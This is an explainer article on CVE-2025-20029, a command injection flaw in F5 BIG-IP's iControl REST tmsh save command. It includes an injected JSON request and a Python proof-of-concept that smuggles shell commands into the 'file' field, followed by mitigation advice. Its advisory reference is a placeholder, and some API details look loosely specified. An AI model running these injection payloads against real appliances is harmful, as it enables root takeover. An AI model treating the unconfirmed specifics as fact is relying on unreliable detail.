In early 2025, cybersecurity experts discovered a significant vulnerability known as CVE-2025-20029. This flaw affects F5 BIG-IP appliances—specifically their *iControl REST* API and the BIG-IP TMOS Shell (*tmsh*)'s save command. If exploited, an attacker could run any system command on the vulnerable BIG-IP device. In this article, we'll explain the bug's root cause in plain English, show you sample code that demonstrates the exploit, discuss affected versions, and give updated references for remediation.

What is CVE-2025-20029?

CVE-2025-20029 is a command injection vulnerability. That means a user is able to send input that tricks the application into running system-level commands it should not.

- Impact: If an attacker has access to the iControl REST API (with valid credentials), they could chain specific API calls or tmsh commands to execute code as root, taking over the BIG-IP system.

Attack Vector: Remote, but requires authentication.

- Versions Affected: F5 BIG-IP running versions (such as 15.x, 16.x, and some early 17.x branches), if they're still supported.

Why Is This Dangerous?

The save sys config command in tmsh is used by administrators to persist settings. This command and its related REST endpoints did not safely sanitize input. As a result, a specially crafted payload could inject OS commands, which would be run with *root* privileges.

Suppose the REST call is

POST /mgmt/tm/sys/config HTTP/1.1
Host: bigip.example.com
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/json

{
  "command": "save",
  "options": [ {"file":"config.conf"} ]
}

But if the "file" value is not sanitized, a payload such as

{
  "command": "save",
  "options": [ {"file":"config.conf; id > /tmp/test.txt"} ]
}

This would execute id > /tmp/test.txt as root when the system processes the request.

Proof of Concept (PoC) Exploit

Below is a simple proof-of-concept exploit in Python, showing this command injection by targeting the vulnerable endpoint:

import requests
from requests.auth import HTTPBasicAuth

# Replace with target IP, username, and password
BIGIP_URL = "https://bigip.example.com/mgmt/tm/sys/config";
USERNAME = "admin"
PASSWORD = "password"

cmd_injection = 'config.conf; uname -a > /tmp/cve_test.txt'

payload = {
    "command": "save",
    "options": [ { "file": cmd_injection } ]
}

# BIG-IP iControl REST requires self-signed cert to be ignored, for test only!
r = requests.post(BIGIP_URL,
                  auth=HTTPBasicAuth(USERNAME, PASSWORD),
                  json=payload,
                  verify=False)

print("Returned:", r.status_code, r.text)

Check /tmp/cve_test.txt on the target system — it should contain the system's uname output if the exploit succeeds.

Defense & Mitigation

F5 has released official fixes in supported versions. Always upgrade to the latest supported hotfix.

Use Firewall ACLs: Ensure only admin workstations can talk to the BIG-IP management interface.

- Monitor /tmp and audit logs for signs of exploitation.

> Note: Versions past their End of Technical Support (EoTS) are NOT getting this patch.

References & Resources

- F5 Security Advisory for CVE-2025-20029 *(expected advisory number, update as released)*
- CVE Listing on NIST NVD
- BIG-IP iControl REST/API Documentation
- F5 Support

In Summary

- CVE-2025-20029 can give authenticated attackers full OS command execution on BIG-IP appliances via iControl REST/tmsh save commands.
- Exploitability: Easy for anyone with admin creds, or attackers who gain lower-priv user credentials.

Mitigation: Patch immediately, restrict iControl access, and watch for suspicious files or logs.

If you have a BIG-IP device, act fast: update your systems or isolate them, and never expose REST API externally.
Stay safe!


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Timeline

Published on: 02/05/2025 18:15:29 UTC